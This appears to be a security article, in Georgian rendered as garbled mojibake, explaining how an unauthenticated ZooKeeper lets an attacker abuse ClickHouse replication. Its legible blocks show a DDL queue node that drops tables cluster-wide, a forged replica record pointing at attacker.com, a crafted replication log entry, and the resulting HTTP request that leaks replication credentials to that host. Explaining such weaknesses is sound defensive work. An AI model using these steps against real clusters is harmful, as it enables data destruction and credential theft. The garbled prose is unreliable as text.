แƒ แƒแƒขแƒแƒ› แƒ’แƒญแƒ˜แƒ แƒ“แƒ”แƒ‘แƒแƒ— แƒ–แƒแƒแƒžแƒแƒ แƒ™แƒ˜แƒก แƒ’แƒแƒšแƒ˜แƒ”แƒ‘แƒ˜แƒก แƒ“แƒแƒฎแƒฃแƒ แƒ•แƒ?

แƒ แƒแƒขแƒแƒ› แƒ’แƒญแƒ˜แƒ แƒ“แƒ”แƒ‘แƒแƒ— แƒ–แƒแƒแƒžแƒแƒ แƒ™แƒ˜แƒก แƒ’แƒแƒšแƒ˜แƒ”แƒ‘แƒ˜แƒก แƒ“แƒแƒฎแƒฃแƒ แƒ•แƒ?

แƒ”แƒก แƒกแƒขแƒแƒขแƒ˜แƒ แƒ›แƒแƒ’แƒ•แƒ˜แƒ—แƒฎแƒ แƒแƒ‘แƒก ClickHouse-แƒ˜แƒก แƒ แƒ”แƒžแƒšแƒ˜แƒ™แƒแƒชแƒ˜แƒ˜แƒก แƒžแƒ แƒแƒขแƒแƒ™แƒแƒšแƒจแƒ˜ แƒซแƒแƒšแƒ˜แƒแƒœ แƒกแƒžแƒ”แƒชแƒ˜แƒคแƒ˜แƒ™แƒฃแƒ  แƒ“แƒแƒฃแƒชแƒ•แƒ”แƒšแƒแƒ‘แƒแƒ–แƒ” แƒ“แƒ แƒแƒกแƒ”แƒ•แƒ” แƒแƒฉแƒ•แƒ”แƒœแƒ”แƒ‘แƒก, แƒ—แƒฃ แƒ แƒแƒ’แƒแƒ  แƒจแƒ”แƒ˜แƒซแƒšแƒ”แƒ‘แƒ แƒ’แƒแƒคแƒแƒ แƒ—แƒแƒ•แƒ“แƒ”แƒก แƒ—แƒแƒ•แƒ“แƒแƒกแƒฎแƒ›แƒ˜แƒก แƒ–แƒ”แƒ“แƒแƒžแƒ˜แƒ แƒ˜.

ClickHouse แƒแƒ แƒ˜แƒก แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ—แƒ แƒ‘แƒแƒ–แƒ แƒ“แƒ˜แƒ“แƒ˜ แƒ›แƒแƒชแƒฃแƒšแƒแƒ‘แƒ˜แƒก แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ”แƒ‘แƒ˜แƒก แƒจแƒ”แƒกแƒแƒœแƒแƒฎแƒแƒ“, แƒงแƒ•แƒ”แƒšแƒแƒ–แƒ” แƒฎแƒจแƒ˜แƒ แƒแƒ“ แƒ˜แƒงแƒ”แƒœแƒ”แƒ‘แƒก แƒ”แƒ แƒ—แƒ–แƒ” แƒ›แƒ”แƒข แƒ แƒ”แƒžแƒšแƒ˜แƒ™แƒแƒก. แƒ™แƒšแƒแƒกแƒขแƒ”แƒ แƒ˜แƒ แƒ”แƒ‘แƒ แƒ“แƒ แƒ แƒ”แƒžแƒšแƒ˜แƒ™แƒแƒชแƒ˜แƒ ClickHouse-แƒจแƒ˜ แƒแƒ’แƒ”แƒ‘แƒฃแƒšแƒ˜แƒ แƒ—แƒแƒ•แƒ–แƒ” Apache ZooKeeper (ZK) แƒ“แƒ แƒ›แƒแƒ˜แƒ—แƒฎแƒแƒ•แƒก แƒฉแƒแƒฌแƒ”แƒ แƒ˜แƒก แƒฃแƒคแƒšแƒ”แƒ‘แƒ”แƒ‘แƒก.

แƒœแƒแƒ’แƒฃแƒšแƒ˜แƒกแƒฎแƒ›แƒ”แƒ•แƒ˜ ZK แƒ˜แƒœแƒกแƒขแƒแƒšแƒแƒชแƒ˜แƒ แƒแƒ  แƒกแƒแƒญแƒ˜แƒ แƒแƒ”แƒ‘แƒก แƒแƒ•แƒ—แƒ”แƒœแƒขแƒ˜แƒคแƒ˜แƒ™แƒแƒชแƒ˜แƒแƒก, แƒแƒ›แƒ˜แƒขแƒแƒ› แƒแƒ—แƒแƒกแƒแƒ‘แƒ˜แƒ— ZK แƒกแƒ”แƒ แƒ•แƒ”แƒ แƒ˜, แƒ แƒแƒ›แƒ”แƒšแƒ˜แƒช แƒ’แƒแƒ›แƒแƒ˜แƒงแƒ”แƒœแƒ”แƒ‘แƒ Kafka, Hadoop, ClickHouse-แƒ˜แƒก แƒ™แƒแƒœแƒคแƒ˜แƒ’แƒฃแƒ แƒแƒชแƒ˜แƒ˜แƒกแƒ—แƒ•แƒ˜แƒก, แƒกแƒแƒฏแƒแƒ แƒแƒ“ แƒแƒ แƒ˜แƒก แƒฎแƒ”แƒšแƒ›แƒ˜แƒกแƒแƒฌแƒ•แƒ“แƒแƒ›แƒ˜.

แƒจแƒ”แƒขแƒ”แƒ•แƒ˜แƒก แƒ–แƒ”แƒ“แƒแƒžแƒ˜แƒ แƒ˜แƒก แƒจแƒ”แƒกแƒแƒ›แƒชแƒ˜แƒ แƒ”แƒ‘แƒšแƒแƒ“, ZooKeeper-แƒ˜แƒก แƒ˜แƒœแƒกแƒขแƒแƒšแƒแƒชแƒ˜แƒ˜แƒกแƒแƒก แƒงแƒแƒ•แƒ”แƒšแƒ—แƒ•แƒ˜แƒก แƒฃแƒœแƒ“แƒ แƒ“แƒแƒแƒ™แƒแƒœแƒคแƒ˜แƒ’แƒฃแƒ แƒ˜แƒ แƒแƒ— แƒแƒ•แƒขแƒแƒ แƒ˜แƒ–แƒแƒชแƒ˜แƒ แƒ“แƒ แƒแƒ•แƒขแƒแƒ แƒ˜แƒ–แƒแƒชแƒ˜แƒ.

แƒ แƒ แƒ—แƒฅแƒ›แƒ แƒฃแƒœแƒ“แƒ, แƒแƒ แƒกแƒ”แƒ‘แƒแƒ‘แƒก แƒ แƒแƒ›แƒ“แƒ”แƒœแƒ˜แƒ›แƒ” แƒ“แƒฆแƒ”แƒ–แƒ” แƒ“แƒแƒคแƒฃแƒซแƒœแƒ”แƒ‘แƒฃแƒšแƒ˜ แƒฏแƒแƒ•แƒ˜แƒก แƒ“แƒ”แƒกแƒ”แƒ แƒ˜แƒแƒšแƒ˜แƒ–แƒแƒชแƒ˜แƒ, แƒ›แƒแƒ’แƒ แƒแƒ› แƒฌแƒแƒ แƒ›แƒแƒ˜แƒ“แƒ’แƒ˜แƒœแƒ”แƒ—, แƒ แƒแƒ› แƒ—แƒแƒ•แƒ“แƒแƒ›แƒกแƒฎแƒ›แƒ”แƒšแƒก แƒจแƒ”แƒ”แƒซแƒšแƒ แƒฌแƒแƒ˜แƒ™แƒ˜แƒ—แƒฎแƒแƒก แƒ“แƒ แƒ“แƒแƒฌแƒ”แƒ แƒแƒก ZooKeeper, แƒ แƒแƒ›แƒ”แƒšแƒ˜แƒช แƒ’แƒแƒ›แƒแƒ˜แƒงแƒ”แƒœแƒ”แƒ‘แƒ ClickHouse-แƒ˜แƒก แƒ แƒ”แƒžแƒšแƒ˜แƒ™แƒแƒชแƒ˜แƒ˜แƒกแƒ—แƒ•แƒ˜แƒก.

แƒ แƒแƒ“แƒ”แƒกแƒแƒช แƒ™แƒแƒœแƒคแƒ˜แƒ’แƒฃแƒ แƒ”แƒ‘แƒฃแƒšแƒ˜แƒ แƒ™แƒšแƒแƒกแƒขแƒ”แƒ แƒฃแƒš แƒ แƒ”แƒŸแƒ˜แƒ›แƒจแƒ˜, ClickHouse แƒ›แƒฎแƒแƒ แƒก แƒฃแƒญแƒ”แƒ แƒก แƒ’แƒแƒœแƒแƒฌแƒ˜แƒšแƒ”แƒ‘แƒฃแƒš แƒจแƒ”แƒ™แƒ˜แƒ—แƒฎแƒ•แƒ”แƒ‘แƒก DDL, แƒ’แƒแƒ“แƒ˜แƒก ZK - แƒ›แƒแƒ—แƒ—แƒ•แƒ˜แƒก แƒ™แƒ•แƒแƒœแƒซแƒ”แƒ‘แƒ˜ แƒ˜แƒฅแƒ›แƒœแƒ”แƒ‘แƒ แƒคแƒฃแƒ แƒชแƒ”แƒšแƒจแƒ˜ /clickhouse/task_queue/ddl.

แƒ›แƒแƒ’แƒแƒšแƒ˜แƒ—แƒแƒ“, แƒ—แƒฅแƒ•แƒ”แƒœ แƒฅแƒ›แƒœแƒ˜แƒ— แƒ™แƒ•แƒแƒœแƒซแƒก /clickhouse/task_queue/ddl/query-0001 แƒจแƒ˜แƒœแƒแƒแƒ แƒกแƒ˜แƒ—:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

แƒ“แƒ แƒแƒ›แƒ˜แƒก แƒจแƒ”แƒ›แƒ“แƒ”แƒ’, แƒกแƒแƒขแƒ”แƒกแƒขแƒ แƒชแƒฎแƒ แƒ˜แƒšแƒ˜ แƒฌแƒแƒ˜แƒจแƒšแƒ”แƒ‘แƒ แƒ™แƒšแƒแƒกแƒขแƒ”แƒ แƒฃแƒšแƒ˜ แƒกแƒ”แƒ แƒ•แƒ”แƒ แƒ”แƒ‘แƒ˜แƒก host1 แƒ“แƒ host2. DDL แƒแƒกแƒ”แƒ•แƒ” แƒ›แƒฎแƒแƒ แƒก แƒฃแƒญแƒ”แƒ แƒก CREATE/ALTER/DROP แƒ›แƒแƒ—แƒฎแƒแƒ•แƒœแƒ”แƒ‘แƒ˜แƒก แƒ’แƒแƒจแƒ•แƒ”แƒ‘แƒแƒก.

แƒกแƒแƒจแƒ˜แƒœแƒšแƒแƒ“ แƒŸแƒฆแƒ”แƒ แƒก? แƒ›แƒแƒ’แƒ แƒแƒ› แƒกแƒแƒ“ แƒจแƒ”แƒฃแƒซแƒšแƒ˜แƒ แƒ—แƒแƒ•แƒ“แƒแƒ›แƒกแƒฎแƒ›แƒ”แƒšแƒก แƒกแƒ”แƒ แƒ•แƒ”แƒ แƒ˜แƒก แƒ›แƒ˜แƒกแƒแƒ›แƒแƒ แƒ—แƒ”แƒ‘แƒ˜แƒก แƒ›แƒ˜แƒฆแƒ”แƒ‘แƒ?

ClickHouse แƒ แƒ”แƒžแƒšแƒ˜แƒ™แƒแƒชแƒ˜แƒ แƒ›แƒฃแƒจแƒแƒแƒ‘แƒก แƒชแƒแƒšแƒ™แƒ”แƒฃแƒšแƒ˜ แƒชแƒฎแƒ แƒ˜แƒšแƒ”แƒ‘แƒ˜แƒก แƒ“แƒแƒœแƒ”แƒ–แƒ”, แƒแƒกแƒ” แƒ แƒแƒ›, แƒ แƒแƒ“แƒ”แƒกแƒแƒช แƒชแƒฎแƒ แƒ˜แƒšแƒ˜ แƒ˜แƒฅแƒ›แƒœแƒ”แƒ‘แƒ ZK-แƒจแƒ˜, แƒ›แƒ˜แƒ—แƒ˜แƒ—แƒ”แƒ‘แƒฃแƒšแƒ˜แƒ แƒกแƒ”แƒ แƒ•แƒ”แƒ แƒ˜, แƒ แƒแƒ›แƒ”แƒšแƒ˜แƒช แƒžแƒแƒกแƒฃแƒฎแƒ˜แƒกแƒ›แƒ’แƒ”แƒ‘แƒ”แƒšแƒ˜แƒ แƒ›แƒ”แƒขแƒแƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ”แƒ‘แƒ˜แƒก แƒ แƒ”แƒžแƒšแƒ˜แƒ™แƒ”แƒ‘แƒ—แƒแƒœ แƒ’แƒแƒชแƒ•แƒšแƒแƒ–แƒ”. แƒ›แƒแƒ’แƒแƒšแƒ˜แƒ—แƒแƒ“, แƒ›แƒแƒ—แƒฎแƒแƒ•แƒœแƒ˜แƒก แƒจแƒ”แƒกแƒ แƒฃแƒšแƒ”แƒ‘แƒ˜แƒกแƒแƒก (ZK แƒฃแƒœแƒ“แƒ แƒ˜แƒงแƒแƒก แƒ™แƒแƒœแƒคแƒ˜แƒ’แƒฃแƒ แƒ˜แƒ แƒ”แƒ‘แƒฃแƒšแƒ˜, chXX - แƒแƒกแƒšแƒ˜แƒก แƒกแƒแƒฎแƒ”แƒšแƒ˜, แƒคแƒฃแƒ‘แƒแƒ แƒ˜ - แƒ›แƒแƒ’แƒ˜แƒ“แƒ˜แƒก แƒกแƒแƒฎแƒ”แƒšแƒ˜):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

แƒจแƒ”แƒ˜แƒฅแƒ›แƒœแƒ”แƒ‘แƒ แƒ™แƒ•แƒแƒœแƒซแƒ”แƒ‘แƒ˜ แƒกแƒ•แƒ”แƒขแƒ”แƒ‘แƒ˜แƒก ะธ แƒ›แƒ”แƒขแƒแƒ“แƒแƒขแƒ˜แƒก.

แƒจแƒ˜แƒœแƒแƒแƒ แƒกแƒ˜ /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

แƒจแƒ”แƒกแƒแƒซแƒšแƒ”แƒ‘แƒ”แƒšแƒ˜แƒ แƒ—แƒฃ แƒแƒ แƒ แƒแƒ› แƒ™แƒšแƒแƒกแƒขแƒ”แƒ แƒ˜แƒก แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ”แƒ‘แƒ˜แƒก แƒ’แƒแƒ”แƒ แƒ—แƒ˜แƒแƒœแƒ”แƒ‘แƒ? แƒ“แƒ˜แƒแƒฎ, แƒ—แƒฃ แƒ แƒ”แƒžแƒšแƒ˜แƒ™แƒแƒชแƒ˜แƒ˜แƒก แƒžแƒแƒ แƒขแƒ˜ (TCP/9009) แƒกแƒ”แƒ แƒ•แƒ”แƒ แƒ–แƒ” chXX-address firewall แƒแƒ  แƒ“แƒแƒ˜แƒฎแƒฃแƒ แƒ”แƒ‘แƒ แƒ“แƒ แƒ แƒ”แƒžแƒšแƒ˜แƒ™แƒแƒชแƒ˜แƒ˜แƒกแƒ—แƒ•แƒ˜แƒก แƒแƒ•แƒ—แƒ”แƒœแƒขแƒ˜แƒคแƒ˜แƒ™แƒแƒชแƒ˜แƒ แƒแƒ  แƒ˜แƒฅแƒœแƒ”แƒ‘แƒ แƒ™แƒแƒœแƒคแƒ˜แƒ’แƒฃแƒ แƒ˜แƒ แƒ”แƒ‘แƒฃแƒšแƒ˜. แƒ แƒแƒ’แƒแƒ  แƒแƒ•แƒฃแƒแƒ แƒแƒ— แƒแƒ•แƒขแƒแƒ แƒ˜แƒ–แƒแƒชแƒ˜แƒ?

แƒ—แƒแƒ•แƒ“แƒแƒ›แƒกแƒฎแƒ›แƒ”แƒšแƒก แƒจแƒ”แƒฃแƒซแƒšแƒ˜แƒ แƒจแƒ”แƒฅแƒ›แƒœแƒแƒก แƒแƒฎแƒแƒšแƒ˜ แƒ แƒ”แƒžแƒšแƒ˜แƒ™แƒ ZK-แƒจแƒ˜ แƒจแƒ˜แƒ’แƒ—แƒแƒ•แƒกแƒ˜แƒก แƒฃแƒ‘แƒ แƒแƒšแƒแƒ“ แƒ™แƒแƒžแƒ˜แƒ แƒ”แƒ‘แƒ˜แƒ— /clickhouse/tables/01-01/foobar/replicas/chXX แƒ“แƒ แƒ›แƒœแƒ˜แƒจแƒ•แƒœแƒ”แƒšแƒแƒ‘แƒ˜แƒก แƒจแƒ”แƒชแƒ•แƒšแƒ host.

แƒจแƒ˜แƒœแƒแƒแƒ แƒกแƒ˜ /clickhouse/tables/01โ€“01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

แƒจแƒ”แƒ›แƒ“แƒ”แƒ’ แƒ—แƒฅแƒ•แƒ”แƒœ แƒฃแƒœแƒ“แƒ แƒฃแƒ—แƒฎแƒ แƒแƒ— แƒกแƒฎแƒ•แƒ แƒ แƒ”แƒžแƒšแƒ˜แƒ™แƒ”แƒ‘แƒก, แƒ แƒแƒ› แƒ—แƒแƒ•แƒ“แƒแƒ›แƒกแƒฎแƒ›แƒ”แƒšแƒ˜แƒก แƒกแƒ”แƒ แƒ•แƒ”แƒ แƒ–แƒ” แƒแƒ แƒ˜แƒก แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ—แƒ แƒแƒฎแƒแƒšแƒ˜ แƒ‘แƒšแƒแƒ™แƒ˜, แƒ แƒแƒ›แƒ”แƒšแƒ˜แƒช แƒ›แƒแƒ— แƒฃแƒœแƒ“แƒ แƒแƒ˜แƒฆแƒแƒœ - แƒ˜แƒฅแƒ›แƒœแƒ”แƒ‘แƒ แƒ™แƒ•แƒแƒœแƒซแƒ˜ ZK-แƒจแƒ˜. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX แƒ›แƒแƒœแƒแƒขแƒแƒœแƒฃแƒ แƒแƒ“ แƒ›แƒ–แƒแƒ แƒ“แƒ˜ แƒ›แƒ แƒ˜แƒชแƒฎแƒ•แƒ”แƒšแƒ˜, แƒ แƒแƒ›แƒ”แƒšแƒ˜แƒช แƒฃแƒœแƒ“แƒ แƒ˜แƒงแƒแƒก แƒแƒฆแƒ”แƒ›แƒแƒขแƒ”แƒ‘แƒ แƒ‘แƒแƒšแƒ แƒ›แƒ แƒ˜แƒชแƒฎแƒ•แƒ”แƒšแƒก แƒ›แƒแƒ•แƒšแƒ”แƒœแƒ˜แƒก แƒŸแƒฃแƒ แƒœแƒแƒšแƒจแƒ˜):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

แƒกแƒแƒ“แƒแƒช แƒฌแƒงแƒแƒ แƒ_แƒ แƒ”แƒžแƒšแƒ˜แƒ™แƒ - แƒฌแƒ˜แƒœแƒ แƒ”แƒขแƒแƒžแƒ–แƒ” แƒจแƒ”แƒฅแƒ›แƒœแƒ˜แƒšแƒ˜ แƒ—แƒแƒ•แƒ“แƒแƒ›แƒกแƒฎแƒ›แƒ”แƒšแƒ˜แƒก แƒแƒกแƒšแƒ˜แƒก แƒกแƒแƒฎแƒ”แƒšแƒ˜, block_id - แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ—แƒ แƒ‘แƒšแƒแƒ™แƒ˜แƒก แƒ˜แƒ“แƒ”แƒœแƒขแƒ˜แƒคแƒ˜แƒ™แƒแƒขแƒแƒ แƒ˜, แƒ›แƒ˜แƒฆแƒ”แƒ‘แƒ - แƒ‘แƒ แƒซแƒแƒœแƒ”แƒ‘แƒ "แƒ›แƒ˜แƒ˜แƒฆแƒ”แƒ— แƒ‘แƒšแƒแƒ™แƒ˜" (แƒ“แƒ แƒแƒฅ แƒแƒ แƒ˜แƒก แƒ‘แƒ แƒซแƒแƒœแƒ”แƒ‘แƒ”แƒ‘แƒ˜ แƒกแƒฎแƒ•แƒ แƒแƒžแƒ”แƒ แƒแƒชแƒ˜แƒ”แƒ‘แƒ˜แƒกแƒ—แƒ•แƒ˜แƒก).

แƒจแƒ”แƒ›แƒ“แƒ”แƒ’แƒ˜, แƒ—แƒ˜แƒ—แƒแƒ”แƒฃแƒšแƒ˜ แƒ แƒ”แƒžแƒšแƒ˜แƒ™แƒ แƒ™แƒ˜แƒ—แƒฎแƒฃแƒšแƒแƒ‘แƒก แƒแƒฎแƒแƒš แƒ›แƒแƒ•แƒšแƒ”แƒœแƒแƒก แƒŸแƒฃแƒ แƒœแƒแƒšแƒจแƒ˜ แƒ“แƒ แƒ›แƒ˜แƒ“แƒ˜แƒก แƒกแƒ”แƒ แƒ•แƒ”แƒ แƒ–แƒ”, แƒ แƒแƒ›แƒ”แƒšแƒกแƒแƒช แƒแƒ™แƒแƒœแƒขแƒ แƒแƒšแƒ”แƒ‘แƒก แƒ—แƒแƒ•แƒ“แƒแƒ›แƒกแƒฎแƒ›แƒ”แƒšแƒ˜, แƒ แƒแƒ—แƒ แƒ›แƒ˜แƒ˜แƒฆแƒแƒก แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ—แƒ แƒ‘แƒšแƒแƒ™แƒ˜ (แƒ แƒ”แƒžแƒšแƒ˜แƒ™แƒแƒชแƒ˜แƒ˜แƒก แƒžแƒ แƒแƒขแƒแƒ™แƒแƒšแƒ˜ แƒแƒ แƒแƒ‘แƒ˜แƒ—แƒ˜แƒ, แƒ›แƒฃแƒจแƒแƒแƒ‘แƒก HTTP-แƒ˜แƒก แƒ—แƒแƒ•แƒ–แƒ”). แƒกแƒ”แƒ แƒ•แƒ”แƒ แƒ˜ attacker.com แƒ›แƒ˜แƒ˜แƒฆแƒ”แƒ‘แƒก แƒ›แƒแƒ—แƒฎแƒแƒ•แƒœแƒ”แƒ‘แƒก:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

แƒกแƒแƒ“แƒแƒช XXX แƒแƒ แƒ˜แƒก แƒแƒ•แƒ—แƒ”แƒœแƒขแƒ˜แƒคแƒ˜แƒ™แƒแƒชแƒ˜แƒ˜แƒก แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ”แƒ‘แƒ˜ แƒ แƒ”แƒžแƒšแƒ˜แƒ™แƒแƒชแƒ˜แƒ˜แƒกแƒ—แƒ•แƒ˜แƒก. แƒ–แƒแƒ’แƒ˜แƒ”แƒ แƒ— แƒจแƒ”แƒ›แƒ—แƒฎแƒ•แƒ”แƒ•แƒแƒจแƒ˜, แƒ”แƒก แƒจแƒ”แƒ˜แƒซแƒšแƒ”แƒ‘แƒ แƒ˜แƒงแƒแƒก แƒแƒœแƒ’แƒแƒ แƒ˜แƒจแƒ˜, แƒ แƒแƒ›แƒ”แƒšแƒกแƒแƒช แƒแƒฅแƒ•แƒก แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ—แƒ แƒ‘แƒแƒ–แƒแƒ–แƒ” แƒฌแƒ•แƒ“แƒแƒ›แƒ แƒซแƒ˜แƒ แƒ˜แƒ—แƒแƒ“แƒ˜ ClickHouse แƒžแƒ แƒแƒขแƒแƒ™แƒแƒšแƒ˜แƒกแƒ แƒ“แƒ HTTP แƒžแƒ แƒแƒขแƒแƒ™แƒแƒšแƒ˜แƒก แƒ›แƒ”แƒจแƒ•แƒ”แƒแƒ‘แƒ˜แƒ—. แƒ แƒแƒ’แƒแƒ แƒช แƒฎแƒ”แƒ“แƒแƒ•แƒ—, แƒ—แƒแƒ•แƒ“แƒแƒกแƒฎแƒ›แƒ˜แƒก แƒ–แƒ”แƒ“แƒแƒžแƒ˜แƒ แƒ˜ แƒ™แƒ แƒ˜แƒขแƒ˜แƒ™แƒฃแƒšแƒแƒ“ แƒ“แƒ˜แƒ“แƒ˜ แƒฎแƒ“แƒ”แƒ‘แƒ, แƒ แƒแƒ“แƒ’แƒแƒœ ZooKeeper, แƒ แƒแƒ›แƒ”แƒšแƒ˜แƒช แƒ’แƒแƒ›แƒแƒ˜แƒงแƒ”แƒœแƒ”แƒ‘แƒ แƒ แƒ”แƒžแƒšแƒ˜แƒ™แƒแƒชแƒ˜แƒ˜แƒกแƒ—แƒ•แƒ˜แƒก, แƒ“แƒแƒ แƒฉแƒ แƒแƒ•แƒขแƒแƒ แƒ˜แƒ–แƒแƒชแƒ˜แƒ˜แƒก แƒ™แƒแƒœแƒคแƒ˜แƒ’แƒฃแƒ แƒแƒชแƒ˜แƒ˜แƒก แƒ’แƒแƒ แƒ”แƒจแƒ”.

แƒ›แƒแƒ“แƒ˜แƒ— แƒจแƒ”แƒ•แƒฎแƒ”แƒ“แƒแƒ— แƒ แƒ”แƒžแƒšแƒ˜แƒ™แƒ˜แƒ“แƒแƒœ แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ—แƒ แƒ‘แƒšแƒแƒ™แƒ˜แƒก แƒ›แƒ˜แƒฆแƒ”แƒ‘แƒ˜แƒก แƒคแƒฃแƒœแƒฅแƒชแƒ˜แƒแƒก, แƒกแƒ แƒฃแƒšแƒ˜ แƒ“แƒแƒ แƒฌแƒ›แƒฃแƒœแƒ”แƒ‘แƒ˜แƒ— แƒฌแƒ”แƒ แƒ˜แƒ, แƒ แƒแƒ› แƒงแƒ•แƒ”แƒšแƒ แƒ แƒ”แƒžแƒšแƒ˜แƒ™แƒ แƒกแƒแƒ—แƒแƒœแƒแƒ“แƒ แƒ™แƒแƒœแƒขแƒ แƒแƒšแƒ˜แƒก แƒฅแƒ•แƒ”แƒจแƒแƒ แƒ“แƒ แƒ›แƒแƒ— แƒจแƒแƒ แƒ˜แƒก แƒแƒ แƒ˜แƒก แƒœแƒ“แƒแƒ‘แƒ.

แƒ แƒแƒขแƒแƒ› แƒ’แƒญแƒ˜แƒ แƒ“แƒ”แƒ‘แƒแƒ— แƒ–แƒแƒแƒžแƒแƒ แƒ™แƒ˜แƒก แƒ’แƒแƒšแƒ˜แƒ”แƒ‘แƒ˜แƒก แƒ“แƒแƒฎแƒฃแƒ แƒ•แƒ?
แƒ แƒ”แƒžแƒšแƒ˜แƒ™แƒแƒชแƒ˜แƒ˜แƒก แƒ“แƒแƒ›แƒฃแƒจแƒแƒ•แƒ”แƒ‘แƒ˜แƒก แƒ™แƒแƒ“แƒ˜

แƒคแƒฃแƒœแƒฅแƒชแƒ˜แƒ แƒ™แƒ˜แƒ—แƒฎแƒฃแƒšแƒแƒ‘แƒก แƒคแƒแƒ˜แƒšแƒ”แƒ‘แƒ˜แƒก แƒกแƒ˜แƒแƒก, แƒจแƒ”แƒ›แƒ“แƒ”แƒ’ แƒ›แƒแƒ— แƒกแƒแƒฎแƒ”แƒšแƒ”แƒ‘แƒก, แƒ–แƒแƒ›แƒ”แƒ‘แƒก, แƒจแƒ˜แƒ’แƒ—แƒแƒ•แƒกแƒก แƒ“แƒ แƒจแƒ”แƒ›แƒ“แƒ”แƒ’ แƒฌแƒ”แƒ แƒก แƒ›แƒแƒ— แƒคแƒแƒ˜แƒšแƒฃแƒ  แƒกแƒ˜แƒกแƒขแƒ”แƒ›แƒแƒจแƒ˜. แƒฆแƒ˜แƒ แƒก แƒชแƒแƒšแƒ™แƒ” แƒแƒฆแƒฌแƒ”แƒ แƒแƒ—, แƒ—แƒฃ แƒ แƒแƒ’แƒแƒ  แƒ˜แƒœแƒแƒฎแƒ”แƒ‘แƒ แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ”แƒ‘แƒ˜ แƒคแƒแƒ˜แƒšแƒฃแƒ  แƒกแƒ˜แƒกแƒขแƒ”แƒ›แƒแƒจแƒ˜.

แƒแƒ แƒ˜แƒก แƒ แƒแƒ›แƒ“แƒ”แƒœแƒ˜แƒ›แƒ” แƒฅแƒ•แƒ”แƒ“แƒ˜แƒ แƒ”แƒฅแƒขแƒแƒ แƒ˜แƒ /var/lib/clickhouse (แƒœแƒแƒ’แƒฃแƒšแƒ˜แƒกแƒฎแƒ›แƒ”แƒ•แƒ˜ แƒจแƒ”แƒœแƒแƒฎแƒ•แƒ˜แƒก แƒ“แƒ˜แƒ แƒ”แƒฅแƒขแƒแƒ แƒ˜แƒ แƒ™แƒแƒœแƒคแƒ˜แƒ’แƒฃแƒ แƒแƒชแƒ˜แƒ˜แƒก แƒคแƒแƒ˜แƒšแƒ˜แƒ“แƒแƒœ):

แƒ“แƒ แƒแƒจแƒ”แƒ‘แƒ˜ - แƒฉแƒแƒฌแƒ”แƒ แƒ˜แƒก แƒ“แƒ˜แƒ แƒ”แƒฅแƒขแƒแƒ แƒ˜แƒ แƒ“แƒ แƒแƒจแƒ”แƒ‘แƒ˜, แƒ’แƒแƒ›แƒแƒ˜แƒงแƒ”แƒœแƒ”แƒ‘แƒ แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ—แƒ แƒ“แƒแƒ™แƒแƒ แƒ’แƒ•แƒ˜แƒก แƒจแƒ”แƒ›แƒ“แƒ”แƒ’ แƒแƒฆแƒ“แƒ’แƒ”แƒœแƒแƒจแƒ˜;
tmp โ€” แƒ“แƒ˜แƒ แƒ”แƒฅแƒขแƒแƒ แƒ˜แƒ แƒ“แƒ แƒแƒ”แƒ‘แƒ˜แƒ—แƒ˜ แƒคแƒแƒ˜แƒšแƒ”แƒ‘แƒ˜แƒก แƒจแƒ”แƒกแƒแƒœแƒแƒฎแƒแƒ“;
แƒ›แƒแƒ›แƒฎแƒ›แƒแƒ แƒ”แƒ‘แƒšแƒ˜แƒก_แƒคแƒแƒ˜แƒšแƒ”แƒ‘แƒ˜ โ€” แƒ›แƒแƒ—แƒฎแƒแƒ•แƒœแƒ”แƒ‘แƒจแƒ˜ แƒคแƒแƒ˜แƒšแƒ”แƒ‘แƒ˜แƒ— แƒแƒžแƒ”แƒ แƒแƒชแƒ˜แƒ”แƒ‘แƒ˜ แƒจแƒ”แƒ›แƒแƒ˜แƒคแƒแƒ แƒ’แƒšแƒ”แƒ‘แƒ แƒ›แƒฎแƒแƒšแƒแƒ“ แƒแƒ› แƒ“แƒ˜แƒ แƒ”แƒฅแƒขแƒแƒ แƒ˜แƒแƒจแƒ˜ (INTO OUTFILE แƒ“แƒ แƒกแƒฎแƒ•แƒ);
แƒ›แƒ”แƒขแƒแƒ“แƒแƒขแƒ˜แƒก โ€” sql แƒคแƒแƒ˜แƒšแƒ”แƒ‘แƒ˜ แƒชแƒฎแƒ แƒ˜แƒšแƒ˜แƒก แƒแƒฆแƒฌแƒ”แƒ แƒ˜แƒšแƒแƒ‘แƒ˜แƒ—;
